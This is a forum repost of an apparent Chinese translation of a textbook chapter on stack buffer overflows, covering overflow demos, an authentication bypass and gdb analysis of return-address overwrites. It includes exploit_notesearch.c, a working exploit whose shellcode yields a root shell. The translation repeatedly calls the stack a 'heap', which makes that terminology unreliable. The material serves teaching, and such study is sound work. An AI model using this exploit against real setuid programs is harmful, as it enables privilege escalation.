前面的比较基础,就从320开始翻译了,有朋友说已经有中文版的了,不过我还是没有找到第二版的中文版的,哪位朋友找到第二版中文版的了记得发我一份。谢谢。
本章有
两个例子,第一个是直接覆盖。第二个应该是JMP ESP。 0x320. 缓冲区溢出概述
缓冲区漏洞可以一直追溯到计算机的早期,然而一直存在到今天。大多数网络蠕虫利用该漏洞传播,不久前出现的IE 0day VML漏洞就是由缓冲区溢出引起的。
C语言是高级编程语言,但是它将负责数据完整性的责任交给了程序员。如果这个责任交还给编译器,那么在编译的过程中编译器就要对所有的变量进行完整性检测,这将使编译过程变慢。同时这将降低程序员的编程控制能力并且增加编程语言的复杂度。
C的简单可以提升程序员的控制能力和编程开发的效率,但是如果程序员不小心谨慎就会在程序中出现缓冲区溢出和内存泄露问题。这就意味着一旦变量被分配内存,就没有内置的安全保护措施来确保变量的大小和分配的内存空间是否匹配,虽然看上去这将很有可能引起程序出错,但是在C语言中这是一个合法的操作。这就被称为缓冲区越界或缓冲区溢出,试想超出被分配内存的额外2字节的数据发生溢出,这两个字节的数据将会被写到后面的内存中。如果被写入的地址是程序运行的关键部分,那么程序就会出错。下面overflow_example.c代码就是一个例子。
0x320. 缓冲区溢出
3.2.1.1. overflow_example.c
代码如下:
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
int value = 5;
char buffer_one[8], buffer_two[8];
strcpy(buffer_one, "one"); /* 将"one"拷贝到buffer_one中*/
strcpy(buffer_two, "two"); /* 将"two"拷贝到buffer_two中*/
printf("[BEFORE] buffer_two is at %p and contains \'%s\'\n", buffer_two, buffer_two);
printf("[BEFORE] buffer_one is at %p and contains \'%s\'\n", buffer_one, buffer_one);
printf("[BEFORE] value is at %p and is %d (0x%08x)\n", &value, value, value);
printf("\n[STRCPY] copying %d bytes into buffer_two\n\n", strlen(argv[1]));
strcpy(buffer_two, argv[1]); /*拷贝第一个参数到buffer_two中*/
printf("[AFTER] buffer_two is at %p and contains \'%s\'\n", buffer_two, buffer_two);
printf("[AFTER] buffer_one is at %p and contains \'%s\'\n", buffer_one, buffer_one);
printf("[AFTER] value is at %p and is %d (0x%08x)\n", &value, value, value);
}
到现在为止,通过第二章的学习你应该可以轻松的读懂上面的代码并理解其中含义了。在编译完成后有如下简单输出,我们将拷贝第一个命令行参数(长度为10字节)到buffer_two中,注意这是超过了分配给buffer_two的8字节。
reader@hacking:~/booksrc $ gcc -o overflow_example overflow_example.c
reader@hacking:~/booksrc $ ./overflow_example 1234567890
[BEFORE] buffer_two is at 0xbffff7f0 and contains 'two'
[BEFORE] buffer_one is at 0xbffff7f8 and contains 'one'
[BEFORE] value is at 0xbffff804 and is 5 (0x00000005)
[STRCPY] copying 10 bytes into buffer_two
[AFTER] buffer_two is at 0xbffff7f0 and contains '1234567890'
[AFTER] buffer_one is at 0xbffff7f8 and contains '90'
[AFTER] value is at 0xbffff804 and is 5 (0x00000005)
reader@hacking:~/booksrc $ 注意:在内存中buffer_one是紧随buffer_two后面的,因此将10字节的数据拷贝到buffer_two中后,后面的2个字节“90”发生溢出并写到了buffer_one中。
除非缓冲区足够大,不然一个超长的变量写入缓冲区将引起缓冲区溢出,导致程序出错或系统崩溃。如下:
reader@hacking:~/booksrc $ ./overflow_example AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[BEFORE] buffer_two is at 0xbffff7e0 and contains 'two'
[BEFORE] buffer_one is at 0xbffff7e8 and contains 'one'
[BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005)
[STRCPY] copying 29 bytes into buffer_two
[AFTER] buffer_two is at 0xbffff7e0 and contains
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[AFTER] buffer_one is at 0xbffff7e8 and contains 'AAAAAAAAAAAAAAAAAAAAA'
[AFTER] value is at 0xbffff7f4 and is 1094795585 (0x41414141)
Segmentation fault (core dumped)
reader@hacking:~/booksrc $ 这种类型的程序错误是非常普遍的——就像我们经常遇到程序出错或蓝屏。导致这样错误的原因在于程序员的疏忽——应该对用户的输入进行长度检测或限制。这样的错误经常发生却总是被忽视。事实上2.8.3.4节中的notesearch.c代码就存在一个缓冲区溢出漏洞。即使你已经很熟悉C语言了,在此之前你可能也没有注意到。
代码如下:
reader@hacking:~/booksrc $ ./notesearch AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-------[ end of note data ]-------
Segmentation fault
reader@hacking:~/booksrc $
程序出错很令人恼火,但是在黑客的手上这些漏洞就编程了严重的安全隐患。一个有经验的黑客可以通过控制程序出错流程实现意想不到的效果。exploit_notesearch.c代码将演示这种危险。
3.2.1.2. exploit_notesearch.c
代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // 内存清0
strcpy(command, "./notesearch \'"); // 开始命令行缓冲区
buffer = command + strlen(command); // 设置缓冲区末端
if(argc > 1) // Set offset.
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // 设置返回地址
for(i=0; i < 160; i+=4) // 用返回地址填充缓冲区
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // 用NOP填充
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // 运行exploit
free(command);
}
这个exploit的源代码在后面会深入研究,一般来说,首先产生一个命令字符串,然后执行notesearch程序并将单引号内的字符作为命令行参数输入。在程序中使用了字符串处理函数帮助我们完成这些工作。strlen()函数的作用是获得字符串长度(用于定位缓冲区指针);strcat()函数将命令字符连接结束单引号结尾。最后,用system函数来执行命令字符串。单引号之间的部分是触发缓冲区溢出的主要部分。其余部分只是用来传输这些恶意代码的手段。
reader@hacking:~/booksrc $ gcc exploit_notesearch.c
reader@hacking:~/booksrc $ ./a.out
[DEBUG] found a 34 byte note for user id 999
[DEBUG] found a 41 byte note for user id 999
-------[ end of note data ]-------
sh-3.2# 这个exploit可以通过缓冲区溢出得到一个root shell——提供控制计算机的全部功能。这是一个基于堆的缓冲区溢出利用实例。
0x321. 基于堆的缓冲区溢出漏洞
notesearch的exploit程序是通过覆盖内存来控制程序执行流程。auth_overflow.c程序阐述了这个观点。
3.2.2.1. auth_overflow.c
代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int check_authentication(char *password) {
int auth_flag = 0;
char password_buffer[16];
strcpy(password_buffer, password);
if(strcmp(password_buffer, "brillig") == 0)
auth_flag = 1;
if(strcmp(password_buffer, "outgrabe") == 0)
auth_flag = 1;
return auth_flag;
}
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("Usage: %s <password>\n", argv[0]);
exit(0);
}
if(check_authentication(argv[1])) {
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
printf(" Access Granted.\n");
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
} else {
printf("\nAccess Denied.\n");
}
}
这个例程从命令行参数中接收一组字符作为密码然后调用check_authentication()函数。这个函数只允许两个密码,这对典型的多重验证模式来说是很重要的。使用其中任何一个密码函数都会返回“1”——允许访问。相信你在编译之前通过阅读源代码就可以明白程序流程并猜想到程序的输出了。在编译的时候要使用-g参数,因为一会儿我们将调试这个程序。
reader@hacking:~/booksrc $ gcc -g -o auth_overflow auth_overflow.c
reader@hacking:~/booksrc $ ./auth_overflow
Usage: ./auth_overflow <password>
reader@hacking:~/booksrc $ ./auth_overflow test
Access Denied.
reader@hacking:~/booksrc $ ./auth_overflow brillig
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
reader@hacking:~/booksrc $ ./auth_overflow outgrabe
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
reader@hacking:~/booksrc $ 到现在为止,程序按照源代码的流程运行着,因此可以准确的预计出程序的运行细节。但是利用缓冲区溢出可能发生意想不到的甚至是相矛盾的现象,例如不用输入一个正确的密码就能访问。
reader@hacking:~/booksrc $ ./auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
reader@hacking:~/booksrc $ 你也许已经发现了发生了什么,让我们用调试器来看一下到底发生了什么。
代码如下:
reader@hacking:~/booksrc $ gdb -q ./auth_overflow
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) list 1
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 int check_authentication(char *password) {
6 int auth_flag = 0;
7 char password_buffer[16];
8
9 strcpy(password_buffer, password);
10
(gdb)
11 if(strcmp(password_buffer, "brillig") == 0)
12 auth_flag = 1;
13 if(strcmp(password_buffer, "outgrabe") == 0)
14 auth_flag = 1;
15
16 return auth_flag;
17 }
18
19 int main(int argc, char *argv[]) {
20 if(argc < 2) {
(gdb) break 9
Breakpoint 1 at 0x8048421: file auth_overflow.c, line 9.
(gdb) break 16
Breakpoint 2 at 0x804846f: file auth_overflow.c, line 16.
(gdb)
GDB调试器使用-q参数开始来来隐藏欢迎信息,并在第9行和第16行设置断点。当程序运行时,执行到断点处将被停下来使得我们可以检查内存数据。
代码如下:
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/reader/booksrc/auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, check_authentication (password=0xbffff9af 'A' <repeats 30 times>) at
auth_overflow.c:9
9 strcpy(password_buffer, password);
(gdb) x/s password_buffer
0xbffff7a0: ")????o??????)\205\004\b?o??p???????"
(gdb) x/x &auth_flag
0xbffff7bc: 0x00000000
(gdb) print 0xbffff7bc - 0xbffff7a0
$1 = 28
(gdb) x/16xw password_buffer
0xbffff7a0: 0xb7f9f729 0xb7fd6ff4 0xbffff7d8 0x08048529
0xbffff7b0: 0xb7fd6ff4 0xbffff870 0xbffff7d8 0x00000000
0xbffff7c0: 0xb7ff47b0 0x08048510 0xbffff7d8 0x080484bb
0xbffff7d0: 0xbffff9af 0x08048510 0xbffff838 0xb7eafebc
(gdb)
第一个断点在strcpy()函数发生之前。检测password_buffer指针,调试器显示它在内存地址0xbffff7a0中被任意未初始化数据填充。通过观察auth_flag变量的地址,我们可以看到它位于0xbffff7bc并且值为0。通过使用打印命令获取信息并计算可以得知auth_flag在password_buffer开始之后的28字节。也就是说如上关系可以看做是它们位于一个内存块中并以password_buffer为开始。
代码如下:
(gdb) continue
Continuing.
Breakpoint 2, check_authentication (password=0xbffff9af 'A' <repeats 30 times>) at
auth_overflow.c:16
16 return auth_flag;
(gdb) x/s password_buffer
0xbffff7a0: 'A' <repeats 30 times>
(gdb) x/x &auth_flag
0xbffff7bc: 0x00004141
(gdb) x/16xw password_buffer
0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7b0: 0x41414141 0x41414141 0x41414141 0x00004141
0xbffff7c0: 0xb7ff47b0 0x08048510 0xbffff7d8 0x080484bb
0xbffff7d0: 0xbffff9af 0x08048510 0xbffff838 0xb7eafebc
(gdb) x/4cb &auth_flag
0xbffff7bc: 65 'A' 65 'A' 0 '\0' 0 '\0'
(gdb) x/dw &auth_flag
0xbffff7bc: 16705
(gdb)
继续strcpy()之后的下一个断点,再仔细检查这些内存单元。password_buffer缓冲区发生溢出,并覆盖了auth_flag中内容,已经将其前两个字节替换成了0x41。The value of 0x00004141 might look backward again, but remember that x86 has little-endian architecture, so it's supposed to look that way. If you examine each of these four bytes individually, you can see how the memory is actually laid out. Ultimately, the program will treat this value as an integer, with a value of 16705.
(gdb) continue
Continuing.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Program exited with code 034.
(gdb) 缓冲区溢出之后,check_authentication()函数将返回16705而不是0。因为if语句认为任何非零值即为真。程序的执行流程被导向了真的结果。在这个例子中auth_flag变量是程序流程的执行控制点,因此我们就通过覆盖这个值来实现控制。
这是一个非常牵强的例子,因为它取决与变量的内存单元。在auth_overflow2.c中,颠倒了变量的位置。
3.2.2.2. auth_overflow2.c
代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int check_authentication(char *password) {
char password_buffer[16];
int auth_flag = 0;
strcpy(password_buffer, password);
if(strcmp(password_buffer, "brillig") == 0)
auth_flag = 1;
if(strcmp(password_buffer, "outgrabe") == 0)
auth_flag = 1;
return auth_flag;
}
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("Usage: %s <password>\n", argv[0]);
exit(0);
}
if(check_authentication(argv[1])) {
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
printf(" Access Granted.\n");
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
} else {
printf("\nAccess Denied.\n");
}
}
通过简单的更改使得auth_flag变量在内存中的位置位于password_buffer之前。这样就取消了使用return_value变量作为程序执行控制点,因为使用前面的缓冲区溢出方法将不会对它造成影响。
代码如下:
reader@hacking:~/booksrc $ gcc -g auth_overflow2.c
reader@hacking:~/booksrc $ gdb -q ./a.out
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) list 1
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 int check_authentication(char *password) {
6 char password_buffer[16];
7 int auth_flag = 0;
8
9 strcpy(password_buffer, password);
10
(gdb)
11 if(strcmp(password_buffer, "brillig") == 0)
12 auth_flag = 1;
13 if(strcmp(password_buffer, "outgrabe") == 0)
14 auth_flag = 1;
15
16 return auth_flag;
17 }
18
19 int main(int argc, char *argv[]) {
20 if(argc < 2) {
(gdb) break 9
Breakpoint 1 at 0x8048421: file auth_overflow2.c, line 9.
(gdb) break 16
Breakpoint 2 at 0x804846f: file auth_overflow2.c, line 16.
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/reader/booksrc/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, check_authentication (password=0xbffff9b7 'A' <repeats 30 times>) at
auth_overflow2.c:9
9 strcpy(password_buffer, password);
(gdb) x/s password_buffer
0xbffff7c0: "?o??\200????????o???G??\020\205\004\b?????\204\004\b????\020\205\004\
bH???????\002"
(gdb) x/x &auth_flag
0xbffff7bc: 0x00000000
(gdb) x/16xw &auth_flag
0xbffff7bc: 0x00000000 0xb7fd6ff4 0xbffff880 0xbffff7e8
0xbffff7cc: 0xb7fd6ff4 0xb7ff47b0 0x08048510 0xbffff7e8
0xbffff7dc: 0x080484bb 0xbffff9b7 0x08048510 0xbffff848
0xbffff7ec: 0xb7eafebc 0x00000002 0xbffff874 0xbffff880
(gdb)
设置同样的断点,通过检查内存发现auth_flag在内存中的位置位于password_buffer之前。这就意味着通过前面的方法auth_flag是不会被password_buffer中溢出的数据所覆盖。
代码如下:
(gdb) cont
Continuing.
Breakpoint 2, check_authentication (password=0xbffff9b7 'A' <repeats 30 times>)
at auth_overflow2.c:16
16 return auth_flag;
(gdb) x/s password_buffer
0xbffff7c0: 'A' <repeats 30 times>
(gdb) x/x &auth_flag
0xbffff7bc: 0x00000000
(gdb) x/16xw &auth_flag
0xbffff7bc: 0x00000000 0x41414141 0x41414141 0x41414141
0xbffff7cc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7dc: 0x08004141 0xbffff9b7 0x08048510 0xbffff848
0xbffff7ec: 0xb7eafebc 0x00000002 0xbffff874 0xbffff880
(gdb)
正如所料,缓冲区溢出没有影响到auth_flag变量,因为它的位置提前了。但是还存在另一个程序流程执行控制点,虽然我们在C代码中没有看到。它就在所有堆变量之后,因此也已很容易的被覆盖重写。这个内存结构是所有程序执行所必须的,因此它存在于所有程序中,当它被重写,通常将引起程序崩溃。
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x08004141 in ?? ()
(gdb) 从前面章节可以知道堆是程序使用的物种内存结构之一。堆是一种先进后出的数据结构,在函数调用过程中为局部变量保持执行流程和执行环境。当一个函数被调用,一个称为堆栈的结构被压入,并且EIP寄存器跳转到函数的第一条指令处。每个堆栈包括函数的局部变量和用来恢复EIP的返回地址。当函数执行完,执行出栈指令返回用来恢复EIP的地址。所有的这些都是程序结构的组成部分,并且通常是由编译器而不是程序员来操作的。
当check_authentication()函数被调用,一个新的堆栈帧被压入到main()堆栈帧上面。在这个堆栈帧里面是局部变量、一个返回地址和函数参数。
我们可以在调试器里更清楚的发到所有数据。 图3-1。 代码如下:
reader@hacking:~/booksrc $ gcc -g auth_overflow2.c
reader@hacking:~/booksrc $ gdb -q ./a.out
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) list 1
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 int check_authentication(char *password) {
6 char password_buffer[16];
7 int auth_flag = 0;
8
9 strcpy(password_buffer, password);
10
(gdb)
11 if(strcmp(password_buffer, "brillig") == 0)
12 auth_flag = 1;
13 if(strcmp(password_buffer, "outgrabe") == 0)
14 auth_flag = 1;
15
16 return auth_flag;
17 }
18
19 int main(int argc, char *argv[]) {
20 if(argc < 2) {
(gdb)
21 printf("Usage: %s <password>\n", argv[0]);
22 exit(0);
23 }
24 if(check_authentication(argv[1])) {
25 printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
26 printf(" Access Granted.\n");
27 printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
28 } else {
29 printf("\nAccess Denied.\n");
30 }
(gdb) break 24
Breakpoint 1 at 0x80484ab: file auth_overflow2.c, line 24.
(gdb) break 9
Breakpoint 2 at 0x8048421: file auth_overflow2.c, line 9.
(gdb) break 16
Breakpoint 3 at 0x804846f: file auth_overflow2.c, line 16.
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/reader/booksrc/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, main (argc=2, argv=0xbffff874) at auth_overflow2.c:24
24 if(check_authentication(argv[1])) {
(gdb) i r esp
esp 0xbffff7e0 0xbffff7e0
(gdb) x/32xw $esp
0xbffff7e0: 0xb8000ce0 0x08048510 0xbffff848 0xb7eafebc
0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898
0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000
0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848
0xbffff820: 0x40f5f7f0 0x48e0fe81 0x00000000 0x00000000
0xbffff830: 0x00000000 0xb7ff9300 0xb7eafded 0xb8000ff4
0xbffff840: 0x00000002 0x08048350 0x00000000 0x08048371
0xbffff850: 0x08048474 0x00000002 0xbffff874 0x08048510
(gdb)
第一个断点在调用check_authentication()函数之前的main()函数中。此时堆指针寄存器(ESP)的地址是0xbffff7e0,栈顶如上所示。这是main()堆栈的所有组成部分。继续下一个断点,这个断点在check_authentication()函数内部,如下输出所示ESP变小了,是因为它为check_authentication()的堆栈开辟空间而提升内存的表。在找到auth_flag变量和password_buffer变量后,在堆栈中还可以看到具体数据。
代码如下:
(gdb) c
Continuing.
Breakpoint 2, check_authentication (password=0xbffff9b7 'A' <repeats 30 times>) at
auth_overflow2.c:9
9 strcpy(password_buffer, password);
(gdb) i r esp
esp 0xbffff7a0 0xbffff7a0
(gdb) x/32xw $esp
0xbffff7a0: 0x00000000 0x08049744 0xbffff7b8 0x080482d9
0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 0x00000000
0xbffff7c0: 0xb7fd6ff4 0xbffff880 0xbffff7e8 0xb7fd6ff4
0xbffff7d0: 0xb7ff47b0 0x08048510 0xbffff7e8 0x080484bb
0xbffff7e0: 0xbffff9b7 0x08048510 0xbffff848 0xb7eafebc
0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898
0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000
0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848
(gdb) p 0xbffff7e0 - 0xbffff7a0
$1 = 64
(gdb) x/s password_buffer
0xbffff7c0: "?o??\200????????o???G??\020\205\004\b?????\204\004\b????\020\205\004\
bH???????\002"
(gdb) x/x &auth_flag
0xbffff7bc: 0x00000000
(gdb)
继续分析check_authentication()中的第二个断点,当函数调用时执行一个压栈操作。因为堆栈的生长方向是朝着低内存地址的,因此目前的堆栈指针是比第一个断点时少64字节的0xbffff7a0。堆栈大小和结构很大程度上取决于函数和某些编译器优化程度。例如,这个堆栈的开始的24个字节是编译器生成的内容。局部堆栈变量auth_flag和password_buffer则在堆栈中它们各自的内存单元。auth_flag在0xbffff7bc,16字节的password_buffer在0xbffff7c0。
堆栈中不仅包括局部变量和编译器信息还包括更多的信息。check_authentication()堆栈的详细组成如下所示。
首先,被用来保存局部变量的内存用斜体字表示。从auth_flag变量开始于0xbffff7bc直到16字节的password_buffer变量结束。堆栈中接下来的一些数据是编译器写入的无用信息,附加了一些被称作存储附加指针的数据。如果程序使用-fomit-frame-pointer参数进行编译,就不会再堆栈中使用框架指针。0x080484bb就是堆栈返回地址,地址0xbffffe9b7是一个指向包含30个A的字符串指针。这是check_authentication()函数的参数。
代码如下:
(gdb) x/32xw $esp
0xbffff7a0: 0x00000000 0x08049744 0xbffff7b8 0x080482d9
0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 0x00000000
0xbffff7c0: 0xb7fd6ff4 0xbffff880 0xbffff7e8 0xb7fd6ff4
0xbffff7d0: 0xb7ff47b0 0x08048510 0xbffff7e8 0x080484bb
0xbffff7e0: 0xbffff9b7 0x08048510 0xbffff848 0xb7eafebc
0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898
0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000
0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848
(gdb) x/32xb 0xbffff9b7
0xbffff9b7: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff9bf: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff9c7: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff9cf: 0x41 0x41 0x41 0x41 0x41 0x41 0x00 0x53
(gdb) x/s 0xbffff9b7
0xbffff9b7: 'A' <repeats 30 times>
(gdb)
通过了解堆栈是怎么被创建的可以定位堆栈中的返回地址。进程开始于main(),这是在函数调用之前的。
代码如下:
(gdb) disass main
Dump of assembler code for function main:
0x08048474 <main+0>: push ebp
0x08048475 <main+1>: mov ebp,esp
0x08048477 <main+3>: sub esp,0x8
0x0804847a <main+6>: and esp,0xfffffff0
0x0804847d <main+9>: mov eax,0x0
0x08048482 <main+14>: sub esp,eax
0x08048484 <main+16>: cmp DWORD PTR [ebp+8],0x1
0x08048488 <main+20>: jg 0x80484ab <main+55>
0x0804848a <main+22>: mov eax,DWORD PTR [ebp+12]
0x0804848d <main+25>: mov eax,DWORD PTR [eax]
0x0804848f <main+27>: mov DWORD PTR [esp+4],eax
0x08048493 <main+31>: mov DWORD PTR [esp],0x80485e5
0x0804849a <main+38>: call 0x804831c <printf@plt>
0x0804849f <main+43>: mov DWORD PTR [esp],0x0
0x080484a6 <main+50>: call 0x804833c <exit@plt>
0x080484ab <main+55>: mov eax,DWORD PTR [ebp+12]
0x080484ae <main+58>: add eax,0x4
0x080484b1 <main+61>: mov eax,DWORD PTR [eax]
0x080484b3 <main+63>: mov DWORD PTR [esp],eax //注意
0x080484b6 <main+66>: call 0x8048414 <check_authentication> //这两条
0x080484bb <main+71>: test eax,eax
0x080484bd <main+73>: je 0x80484e5 <main+113>
0x080484bf <main+75>: mov DWORD PTR [esp],0x80485fb
0x080484c6 <main+82>: call 0x804831c <printf@plt>
0x080484cb <main+87>: mov DWORD PTR [esp],0x8048619
0x080484d2 <main+94>: call 0x804831c <printf@plt>
0x080484d7 <main+99>: mov DWORD PTR [esp],0x8048630
0x080484de <main+106>: call 0x804831c <printf@plt>
0x080484e3 <main+111>: jmp 0x80484f1 <main+125>
0x080484e5 <main+113>: mov DWORD PTR [esp],0x804864d
0x080484ec <main+120>: call 0x804831c <printf@plt>
0x080484f1 <main+125>: leave
0x080484f2 <main+126>: ret
End of assembler dump.
(gdb)
注意上面两条指令。此时EAX寄存器包含一个指向第一个命令行参数的指针。这也是check_authentication()函数的参数。第一条汇编指令将EAX的值写入到ESP所指的地址(栈顶)。check_authentication()函数参数从这个堆栈开始的。第二条指令是实际调用。这条指令将下一条指令的地址压入栈并移动执行指针寄存器(EIP)到check_authentication()函数开始处。压入堆栈的地址就是函数调用后的返回地址。因此下一个指令的地址是0x080484bb也就是函数调用的返回地址了。
(gdb) disass check_authentication
Dump of assembler code for function check_authentication:
0x08048414 <check_authentication+0>: push ebp
0x08048415 <check_authentication+1>: mov ebp,esp
0x08048417 <check_authentication+3>: sub esp,0x38
...
0x08048472 <check_authentication+94>: leave
0x08048473 <check_authentication+95>: ret
End of assembler dump.
(gdb) p 0x38
$3 = 56
(gdb) p 0x38 + 4 + 4
$4 = 64
(gdb) 程序继续执行到check_authentication()函数中,此时EIP发生改变,如上所示开始的几条指令完成保存堆栈功能。这些指令通常是函数开始时的固定指令 。前两条指令是为了存储堆栈指针,第三条指令是将ESP减38,为函数的局部变量保存56字节。返回地址和存贮框架指针已经压入栈,也就是64字节堆栈中8个字节的作用了。
当函数完成时,leave和ret指令清除堆栈并设置执行指针寄存器(EIP)来保存堆栈中的返回地址。这使得程序在函数调用后执行到main()函数中的下一条指令,也就是地址0x080484bb处。这个过程在任何程序的函数调用时都会发生。
Code View:
(gdb) x/32xw $esp
0xbffff7a0: 0x00000000 0x08049744 0xbffff7b8 0x080482d9
0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 0x00000000
0xbffff7c0: 0xb7fd6ff4 0xbffff880 0xbffff7e8 0xb7fd6ff4
0xbffff7d0: 0xb7ff47b0 0x08048510 0xbffff7e8 0x080484bb
0xbffff7e0: 0xbffff9b7 0x08048510 0xbffff848 0xb7eafebc
0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898
0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000
0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848
(gdb) cont
Continuing.
Breakpoint 3, check_authentication (password=0xbffff9b7 'A' <repeats 30 times>)
at auth_overflow2.c:16
16 return auth_flag;
(gdb) x/32xw $esp
0xbffff7a0: 0xbffff7c0 0x080485dc 0xbffff7b8 0x080482d9
0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 0x00000000
0xbffff7c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7d0: 0x41414141 0x41414141 0x41414141 0x08004141
0xbffff7e0: 0xbffff9b7 0x08048510 0xbffff848 0xb7eafebc
0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898
0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000
0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848
(gdb) cont
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x08004141 in ?? ()
(gdb)
当用来保存返回地址的那些字节被覆盖重写时,程序仍然会使用这个值来恢复执行指针寄存器(EIP)。如果执行指针跳到了一个任意的地址,通常导致程序崩溃。但是这个地址值不是任意的呢?如果控制这个重写的值,那么程序的执行流程就会被控制,就可以让程序跳到一个特殊的地址值。但是我们应该让程序跳到哪呢?
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)